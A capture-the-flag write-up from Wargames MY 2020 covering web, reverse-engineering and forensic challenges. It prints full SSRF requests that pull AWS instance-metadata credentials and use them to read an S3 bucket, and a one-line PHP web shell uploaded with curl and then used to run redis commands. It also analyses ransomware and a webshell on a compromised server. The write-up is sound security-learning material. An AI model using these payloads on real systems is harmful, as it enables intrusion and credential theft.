# Wargames MY 2020

We finished 2nd place in the competition, and i would like to thank my teammate for a fun journey together.

For a full writeup (opens new window)

kaitorque's writeup (opens new window)

Member:

# Category : Web

# DankDebrid

host dankdebrid.wargames.my
dankdebrid.wargames.my has address 3.93.201.11

We can confirm that this server is running by aws ec2, using nslookup. This is quite useful since we can narrow down our scope and try to focus on AWS penetration testing later on.

nslookup 3.93.201.11
11.201.93.3.in-addr.arpa        name = ec2-3-93-201-11.compute-1.amazonaws.com.

Authoritative answers can be found from:

Continuing with our enumerations, up next of course, directory scanning to take a look what directories that the server has to offer to us.

dirsearch -u http://dankdebrid.wargames.my -e jsp,js

  _|. _ _  _  _  _ _|_    v0.4.0
 (_||| _) (/_(_|| (_| )

Extensions: js, jsp | HTTP method: GET | Threads: 20 | Wordlist size: 7626

Error Log: /opt/dirsearch/logs/errors-20-12-06_22-06-16.log

Target: http://dankdebrid.wargames.my/

Output File: /opt/dirsearch/reports/dankdebrid.wargames.my/_20-12-06_22-06-17.txt

[22:06:17] Starting:
[22:06:26] 403 -  564B  - //.htaccess.bak1
[22:06:26] 403 -  564B  - //.htaccess.sample
[22:06:26] 403 -  564B  - //.htaccess.save
[22:06:26] 403 -  564B  - //.htaccess.orig
[22:06:26] 403 -  564B  - //.htaccessBAK
[22:06:26] 403 -  564B  - //.htaccessOLD
[22:06:26] 403 -  564B  - //.html
[22:06:26] 403 -  564B  - //.htaccessOLD2
[22:06:26] 403 -  564B  - //.htm
[22:06:26] 403 -  564B  - //.httr-oauth
[22:06:37] 200 -    0B  - //Admin.jsp
[22:06:51] 200 -    0B  - //admin.jsp
[22:06:51] 403 -  564B  - //admin/.htaccess
[22:07:01] 403 -  564B  - //administrator/.htaccess
[22:07:05] 403 -  564B  - //app/.htaccess
[22:07:16] 302 -    2B  - //dashboard.jsp  ->  error.jsp
[22:07:21] 200 -   25B  - //error.jsp
[22:07:24] 200 -  122KB - //favicon.ico
[22:07:27] 200 -    0B  - //includes/
[22:07:27] 301 -  178B  - //includes  ->  http://dankdebrid.wargames.my/includes/
[22:07:28] 200 -    2KB - //index.jsp
[22:07:28] 200 -    4B  - //index.html
[22:07:32] 200 -    0B  - //log.jsp
[22:07:33] 200 -    0B  - //login.jsp
[22:07:48] 200 -    0B  - //register.jsp
[22:07:55] 301 -  178B  - //style  ->  http://dankdebrid.wargames.my/style/
[22:07:57] 301 -  178B  - //test  ->  http://dankdebrid.wargames.my/test/
[22:07:57] 403 -  564B  - //test/

Task Completed

If we go to /index.jsp we are greeted by a homepage

Try to login into the system, and check the response on burp we get

We also got some hint in the bottom of the response

If we take a look carefully, we can see <form> in the response, we can see that there is a functionality that allow us to download video from a inputted url. Its a nice feature but this is however could lead to P2 severity bug according to bugcrowd's (opens new window) VRT. Take note on that so we can craft our request for the exploit.

<form action="transfer-download.jsp" method="post">
	<div class="form_settings">
		<p><span>URL</span><input class="contact" type="text" maxlength="150" placeholder="https://example.com/movie.mp4" name="transferURL" /></p>
        <p style="padding-top: 15px"><span>&nbsp;</span><input class="submit" type="submit" name="submit_URL" value="Download" /></p>
    </div>
</form>

Before we go further on our crafted exploit, let us understand how it works.

# Server Side Request Forgery (SSRF)

SSRF is a web security vulnerability that allows an attacker to make a request into the internal host/file in the infrastructure. For example, assume that you have a local REST API in your local network and you didnt expose it to the internet, however, your server that you exposed on the internet able to hit any of your endpoint internally. Successful SSRF can able to make request to your internal endpoint and perform unwanted actions or even arbitrary command.

Some useful report related to SSRF:

Now that is out of the way, lets craft our payload.

Since we know that we are dealing with AWS service EC2, we can be sure that there are internal metadata and user data instance internally. Here AWS Documentation (opens new window) that explains more detailed on that matter.

Our malicious request would look like this.

POST /transfer-download.jsp HTTP/1.1 
Host: dankdebrid.wargames.my 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 71 
Origin: http://dankdebrid.wargames.my 
Connection: close 
Referer: http://dankdebrid.wargames.my/index.jsp 
Cookie: __cfduid=d98ce4e7fe91a48f90f317f5481bc2bf21607097641 
Upgrade-Insecure-Requests: 1 
 
transferURL=http://2852039166//latest/meta-data/iam/security-credentials/&submit_URL=Download

In the burp response, we get something like this

<div class="accordion_child">
	<p>s3_readonly_wgmy2020</p>
</div>

Now that we know their security-credentials, we can expand our payload into this:

POST /transfer-download.jsp HTTP/1.1 
Host: dankdebrid.wargames.my 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 71 
Origin: http://dankdebrid.wargames.my 
Connection: close 
Referer: http://dankdebrid.wargames.my/index.jsp 
Cookie: __cfduid=d98ce4e7fe91a48f90f317f5481bc2bf21607097641 
Upgrade-Insecure-Requests: 1 
 
transferURL=http://2852039166//latest/meta-data/iam/security-credentials/s3_readonly_wgmy2020&submit_URL=Download

Looking at the response, now we have AccessKeyId and SecretAccessKey to leverage our exploitation.

{
  "Code" : "Success",
  "LastUpdated" : "2020-12-06T12:12:25Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "<REDACTED>",
  "SecretAccessKey" : "<REDACTED",
  "Token" : "<REDACTED>",
  "Expiration" : "2020-12-06T18:31:00Z"
}

We can now access to their assets using theses two fruits by using aws-cli in our terminal. But first we need to tell aws-cli that we want to access to their assets, hence, those two keys come to play.

aws configure                       
AWS Access Key ID [****************34OX]: <REDACTED>          
AWS Secret Access Key [****************p2gy]: <REDACTED>
Default region name [ap-southeast-1]:      
Default output format [json]:

Now, initially we did not know which region is the server hosted in AWS, but that would not be such a problem since we can refer to aws region list (opens new window). We could try it one by one but knowing that wargames is hosted in Malaysia, a Singapore serverap-southeast-1 is the most reasonable choice to go.

As we mentioned above on the little hint that the organizer gave us, we can straightup retrieve the file with aws-cli command

aws s3 cp s3://wgmy2020-1/secret.txt ./

Finally, we got the flag

wgmy{fce704324cced786680972eeafd406da}

# Jika Kau Fikirkan Kau Boleh

We starting this challenge by enumerating directory, as a result, we get:

GET    200 OK                http://s.wargames.my:20041/
GET    403 Forbidden            http://s.wargames.my:20041/.html
GET    403 Forbidden            http://s.wargames.my:20041/.hta.php
GET    403 Forbidden            http://s.wargames.my:20041/.hta.html
GET    403 Forbidden            http://s.wargames.my:20041/.hta.txt
GET    403 Forbidden            http://s.wargames.my:20041/.htaccess
GET    403 Forbidden            http://s.wargames.my:20041/.htaccess.php
GET    403 Forbidden            http://s.wargames.my:20041/.htaccess.html
GET    403 Forbidden            http://s.wargames.my:20041/.htpasswd
GET    403 Forbidden            http://s.wargames.my:20041/.htaccess.txt
GET    403 Forbidden            http://s.wargames.my:20041/.htpasswd.txt
GET    403 Forbidden            http://s.wargames.my:20041/.htpasswd.html
GET    403 Forbidden            http://s.wargames.my:20041/.htpasswd.php
GET    403 Forbidden            http://s.wargames.my:20041/.hta
GET    301 Moved Permanently        http://s.wargames.my:20041/flag
                        => http://s.wargames.my/flag/
GET    200 OK                http://s.wargames.my:20041/index.php
GET    200 OK                http://s.wargames.my:20041/index.php
GET    200 OK                http://s.wargames.my:20041/phpinfo.php
GET    200 OK                http://s.wargames.my:20041/phpinfo.php
GET    200 OK                http://s.wargames.my:20041/robots.txt
GET    200 OK                http://s.wargames.my:20041/robots.txt
GET    403 Forbidden            http://s.wargames.my:20041/server-status
GET    301 Moved Permanently        http://s.wargames.my:20041/uploads
                        => http://s.wargames.my/uploads/

By using curl to on http://s.wargames.my:20041/uploads, we can view its source code on how the upload function is mounted

//GET LANG CODE                                                                                                                                                                                   [164/464]
        var pageRequest = window.location.search;
        var img = pageRequest.substring(pageRequest.indexOf("&p=")+3,pageRequest.length);
        var getid = pageRequest.substring(pageRequest.indexOf("?id=")+4,pageRequest.indexOf("&p="));

        if(img != ""){

                if(img.indexOf(".pdf") > -1){
                                if(screen.width >= 720){
                                        $("#preview").html('<iframe id="pdf_preview" src="'+img+'" allowtransparency="true" frameborder="0" allowfullscreen></iframe>');
                                }else{
                                        $("#preview").html('You\'ve uploaded a PDF file. Please click <a href="'+img+'" target="_blank">here</a> to view it.');
                                }
                }else{
                        $("#preview").html('<img src="" id="pre_view" name="pre_view">');
                        $("#pre_view").attr('src',''+img);

                        $('#pre_view').shadow('raised');
                }

                /*$("#confirm_button").val('Change');
                $("#back_button").val('No Change');*/

        }else{

                $("#preview").html('<img src="" id="pre_view" name="pre_view">');
                $("#pre_view").attr('src','http://placehold.it/640x480&text=No Image/PDF available');

                $("#confirm_button").val('Upload');
                $("#back_button").val('Cancel');

        }

        if (self != parent && window.postMessage) {
                 $(window).on('load', function() {
                          var targetHost = 'http://localhost',
                                        updateInt = 250,
                                        containerId = 'box1',

                                   container = document.getElementById(containerId),
                                        targetWin = parent;
                          if (container) {
                                        setInterval(function () {
                                                 targetWin.postMessage(container.offsetHeight, targetHost);
                                        }, updateInt);
                          }
                 });
        }

We can use curl to upload remote code execution(rce) request

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
curl --location --request POST 'http://s.wargames.my:20041/uploads/upload.php?t=s3ns3.php' \
--form 'q=@"/Users/s3ns3/Downloads/s3ns3.php"'

and the response:

<script language="javascript">
     var targetHost = "http://localhost";
     window.parent.postMessage("upload_ready", targetHost);
</script>{"files":["sukahatila\/s3ns3.php"]}

Success! Now we can do fun stuff in burp

Great! We have remote code execution now. We can try to spawn out reverse shell but navigating through burp is easier plus we were lazy that time.

Next, if we ls in the / directory we can see file called start.sh, and if we look into that file, we get:

#!/bin/bash
redis-server --daemonize yes
KEY=`head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13`
FLAG=`cat /flag`
redis-cli set $KEY "$FLAG"
echo "Hey I just met you, this is crazy, but this is not the flag, really :)" > /flag
/usr/sbin/apache2ctl -D FOREGROUND

The script means that the key was randomly generated to store into the redis database and our flag is store within it. So, to obtain the flag we need the key first.

By running a command redis-cli KEYS * we could get all list of keys in the redis database.

GET /uploads/sukahatila/s3ns3.php?cmd=redis-cli+KEYS+'*' HTTP/1.1 
Host: 178.62.233.224:31337 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Connection: close 
Upgrade-Insecure-Requests: 1

as of the response, we get: xbAhcqH4thzpk

Now, we can simply get the key data to obtain the flag:

GET /uploads/sukahatila/s3ns3.php?cmd=redis-cli+GET+'xbAhcqH4thzpk' HTTP/1.1 
Host: 178.62.233.224:31337 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Connection: close 
Upgrade-Insecure-Requests: 1

wgmy{9fdfa2a48a1aa104166faa4026c61eb2}

# Category: RE

# Babyrev

For this reversing challenge, we decompile it using Ghidra, we got a block of code like this.

We can get the value inside SHUFFLE just double click the variable.

We also can get the value of Xor

If we take a look at the code below, we can see that ss which after rename and get from the input after XOR and change by SHIFT are compare with 159 because it specifies 3 which could mean substr("abcdefg","abc***",3). Which means it will compare with the index 27 with 159.

So probably our password would look like this.

***************************159**

So we need a script that can make the cross-reference for us to compare the previous and new output.

For the exploit, we made 2 scripts to compare. One is doing it manually, the latter is automated

Manual

SHUFFLE = [0x7, 0x4, 0x15, 0x12, 0x1D, 0x13, 0x1B, 0x8, 0x1F, 0x16, 0x0F, 0x6, 0x0A, 0x19, 0x18, 0x11, 0x1, 0x3, 0x2, 0x17, 0x0D, 0x14, 0x5, 0x0, 0x0C,0x1C, 0x0B, 0x1A, 0x0E, 0x1E, 0x9, 0x10]
XOR = [0x56,0x6,0x6,0x1,0x9,0x52,0x6,0x3,0x51,0x4,0x57,0x7,0x52,0x7,0x50,0x6,0x6,0x6,0x7,0x54,0x57,0x56,0x2,0x55,0x6,0x1,0x52,0x53,0x54,0xf,0x54,0x3]

#    cprM&Dj s'`9})tDbd,9#d kB>159>r
#    cpr0&7j s'`9})tDbd,9#d k4>159>r
#    cpr0&7j s'`9}dtD6d,9#5 k4>159>r
#    cpr0&7j sa`9}dtD6d,9c5 b4>159>r
#    cer0&7j sa`9}2tD6d,9c5 b4>1595r
#    cer0&7j sa`9}2tc6d,ec5 b4>15:5r
s = 'Zec0e7ghiakld2a6qrst5cwxbzb1595E'
#s = '             a            b    6'
ss = [''] * 32
for i in range(len(s)):
    ss[i] = s[SHUFFLE[i]]
    ss[i] = chr(ord(ss[i]) ^ XOR[i])
print(''.join(ss))

Automated

SHUFFLE = [0x7, 0x4, 0x15, 0x12, 0x1D, 0x13, 0x1B, 0x8, 0x1F, 0x16, 0x0F, 0x6, 0x0A, 0x19, 0x18, 0x11, 0x1, 0x3, 0x2, 0x17, 0x0D, 0x14, 0x5, 0x0, 0x0C,0x1C, 0x0B, 0x1A, 0x0E, 0x1E, 0x9, 0x10]
XOR = [0x56,0x6,0x6,0x1,0x9,0x52,0x6,0x3,0x51,0x4,0x57,0x7,0x52,0x7,0x50,0x6,0x6,0x6,0x7,0x54,0x57,0x56,0x2,0x55,0x6,0x1,0x52,0x53,0x54,0xf,0x54,0x3]

s=list('1234067890qwerayuiopasdfg4b1596c')
prev=list('n3un0"7:2`.0#o7o4242%74dc4%159dv')
ss=[''] * 32
while s != ss:
    for i in range(len(s)):
        ss[i] = s[SHUFFLE[i]]
        ss[i] = chr(ord(ss[i]) ^ XOR[i])

    for i in range(len(ss)):
        if prev == ss:
            print(prev)
            print(ss)
            print('s:', ''.join(s))
            s = ss
            break

        if prev[i] != ss[i]:
            print(i,prev[i], ss[i])
            s[i] = ss[i]

    print()
    prev = list(ss)

print(''.join(s))

Looking at the script. We need to update the previous list after we generate new output. The initial list does not matter as long as after first output, 159 is exist in those last digits.

We are not fully understand how it really works, so after some time doing it manually. The output that produced seems repetitive.

76420dpabbe073a20436d2fb14b15963
76420d7abbew73a20436d2fb14b15963
76420d7abbe073a20436d2fb14%15963
76420d7abbe073a20436d2fb14bv5963

We tried submitting all of this but all was wrong. But after carefully check the difference between those four, the third flag is correct one after we changed % to b

and the flag was wgmy{76420d7abbe073a20436d2fb14b15963}

# Category: Forensic — Lord Kiske’s Server

# Introduction

Download the ova file and we write a simple python script to get the SHA256 of lordkiske-server.ova

import hashlib
with open('lordkiske-server.ova', 'rb') as f:
	bytes = f.read()
	readable_hash = hashlib.sha256(bytes).hexdigest()
	print('wgmy{' + readable_hash + '}')

Flag is wgmy{c4ea7f5c3a23990844ea6518c02740c66c4c8a605314f3bd9038f7ebfa7b9911}

# [Analysis] Attacker’s IP Address

Once we have the ova , we tried to open using Oracle Virtual Box and it works! Since the challenge asking for the attacker’s IP Address. First, we can see that all files are encrypted with .durian extension in /var/www/html

Let’s check any PHP files that are note encrypted maybe that we can find something.

find /var/www/html/ -type f -iname "*.php" 2>/dev/null

We tried to grep anyone who trying to reach one of these files in /var/log/apache2/acccess.log and found the attacker's IP.

cat /var/log/apache2/access.log | grep -E "we.php|b404.php|musangkeng.php"

Go to CyberChef and encrypt IP 172.128.31.78 to MD5 hash. And the flag is wgmy{0941b6865b5c056c9bbb0825e1beb8e9}

# [Analysis] Hash of Webshell

Since we have found several files without .durian extension in /var/www/html/wp-content/uploads/. One of these surely is the web shell. Since the file we.php starts with character w , we assume that this is the web shell.

To reduce the scope, we check again /var/log/apache2/access.log and see that the attacker first trying to POST and GET the file like below.

Calculate the sha1sum of we.php and wrap with wgmy{} we get the flag wgmy{96894e24bf860dd85fbdcc7fbfbad203108489d1}

# [Analysis] Path of Webshell

We have the path and the filename already, so just go to Cyberchef and encrypt /var/wwww/html/wp-content/uploads/we.php to MD5.

and we got the flag wgmy{cc93f2436a9fdc6f19c1fa8bd865f8f3}

# [Analysis] Hash of Ransomware

The file b404.php is encoded with base64. Remove all of the php tags and get only the base64. Use the command below to decode.

cat b404.php | tr "\n" " " | sed 's/ //g' | base64 -d

We can see the php code that the attacker used to encrypt all of the victim’s files. Thus, this is the ransomware used by the attacker.

Calculate the sha1sum of b404.php and wrap with wgmy{} we get wgmy{ba235cdbd9eb05082aa6e15cec762465884256f9}

# [Analysis] Location of ransomware

We have the path and the filename already so just go to Cyberchef and encrypt /var/www/html/wp-content/uploads/b404.php to MD5.

and we got the flag wgmy{86051201744543abeda8b8efd0933e98}

# [Analysis] CnC Hostname

We can try to check deep inside the b404.php and found out one of the POST request has been made to musangkeng.wargames.my

Encrypt musangkeng.wargames.my to MD5 and wrap with wgmy{} we get the flag wgmy{d7357e55e21847601d4eacb01fe13313}